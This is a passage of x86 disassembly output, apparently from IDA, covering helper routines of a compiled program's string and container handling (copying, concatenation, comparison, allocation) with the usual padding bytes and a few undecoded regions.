		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4097D0	proc near		; CODE XREF: sub_40170Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4097F0


loc_4097E1:				; CODE XREF: sub_4097D0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402072
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4097E1


loc_4097F0:				; CODE XREF: sub_4097D0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4097D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409810	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_409810	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409830	proc near		; CODE XREF: sub_402072j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409850	proc near		; CODE XREF: sub_4016D6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409882
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409866:				; CODE XREF: sub_409850+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409866
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409882:				; CODE XREF: sub_409850+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098A0	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4098C7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_4098B6:				; CODE XREF: sub_4098A0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015AA
		add	esi, 4
		dec	edi
		jnz	short loc_4098B6
		pop	esi
		pop	ebx


loc_4098C7:				; CODE XREF: sub_4098A0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_4098A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098E0	proc near		; CODE XREF: sub_401CADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40203B
sub_4098E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_4015AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_409910	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409940	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40995D
		mov	edx, [esp+arg_8]
		push	esi


loc_409951:				; CODE XREF: sub_409940+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409951
		pop	esi

locret_40995D:				; CODE XREF: sub_409940+Aj
		retn
sub_409940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409970	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409992
		mov	eax, [esp+arg_8]
		push	esi


loc_409981:				; CODE XREF: sub_409970+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409981
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409992:				; CODE XREF: sub_409970+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409970	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099D0	proc near		; CODE XREF: sub_40203Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4099DA
		xor	eax, eax


loc_4099DA:				; CODE XREF: sub_4099D0+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_4099D0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A00	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409A1B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409A1B:				; CODE XREF: sub_409A00+11j
		retn
sub_409A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A30	proc near		; CODE XREF: sub_401979j

arg_0		= dword	ptr  4

		mov	al, byte_44718A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409A66
		push	edi
		nop
		call	near ptr 28218E9h
		mov	edi, dword_50F8C4
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409A66:				; CODE XREF: sub_409A30+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409A30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AA0	proc near		; CODE XREF: sub_401CDAj
		mov	al, byte_44718A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409ABF
		call	near ptr 2821C1Bh
		nop
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409ABF:				; CODE XREF: sub_409AA0+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409AA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401424j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409B10:				; CODE XREF: ___:00402063j
					; ___:loc_402171j
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409B28:				; CODE XREF: ___:00409B1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B40	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_4014C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FBE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_4020F4j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	off_43E010
		nop
		call	near ptr byte_5EA1BD
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C30	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43E010
		cmp	eax, edi
		jz	short loc_409C4C
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C4C:				; CODE XREF: sub_409C30+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409C5F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C5F:				; CODE XREF: sub_409C30+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409C30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C80	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409CEA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409CAA
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CAA:				; CODE XREF: sub_409C80+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0DDAAE852h, 83907783h
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409CEA:				; CODE XREF: sub_409C80+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409C80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D20	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_409D20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409D50:				; CODE XREF: ___:00401A46j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4437F4
		push	ecx
		call	near ptr byte_5EA1BD
		nop
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015D7
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DA0	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409E2F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409E2F:				; CODE XREF: sub_409DA0+84j
		mov	[ebx+9], ebp


loc_409E32:				; CODE XREF: sub_409DA0+Cj
					; sub_409DA0+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409DA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E70	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401A9B
		pop	esi
		retn	4
sub_409E70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EA0	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		nop
		call	near ptr byte_5EA1BD
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401A9B
		pop	esi
		add	esp, 10h
		retn	4
sub_409EA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EF0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409F07
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F07:				; CODE XREF: sub_409EF0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409F0B:				; CODE XREF: sub_409EF0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		test	cl, cl
		jz	short loc_409F2F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409F0B


loc_409F2F:				; CODE XREF: sub_409EF0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F36:				; CODE XREF: sub_409EF0+23j
					; sub_409EF0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409EF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F60	proc near		; CODE XREF: sub_401B72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409F60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F90	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_409FA3
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_409FA3:				; CODE XREF: sub_409F90+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_409F90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4021ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A000	proc near		; CODE XREF: sub_401CBCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A013
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A013:				; CODE XREF: sub_40A000+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A000	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A072
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015D7


loc_40A072:				; CODE XREF: sub_40A030+13j
		add	esp, 2000h
		retn
sub_40A030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0A0	proc near		; CODE XREF: sub_401D20j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A0A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0C0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_50FAE0
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A0E4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A0E4:				; CODE XREF: sub_40A0C0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A0C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401807
		retn	4
sub_40A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A130	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402117
		pop	esi
		retn	8
sub_40A130	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A160	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402117
		retn	4
sub_40A160	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A195
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A195:				; CODE XREF: sub_40A180+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_50FAF8
		push	edi
		push	eax
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1AF
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1AF:				; CODE XREF: sub_40A180+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A203
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A203:				; CODE XREF: sub_40A1F0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A216
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A216:				; CODE XREF: sub_40A1F0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_4367FA
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A270	proc near		; CODE XREF: sub_4013D9j
		mov	eax, [ecx+11h]
		retn
sub_40A270	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A290	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A2E2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F60
		mov	ecx, esi
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A2E2:				; CODE XREF: sub_40A290+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401424
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_4367FA
sub_40A290	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015D7
		push	ebx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A3C0	proc near		; CODE XREF: sub_401E2Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A3C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A400:				; CODE XREF: ___:0040193Dj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4020F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A430	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
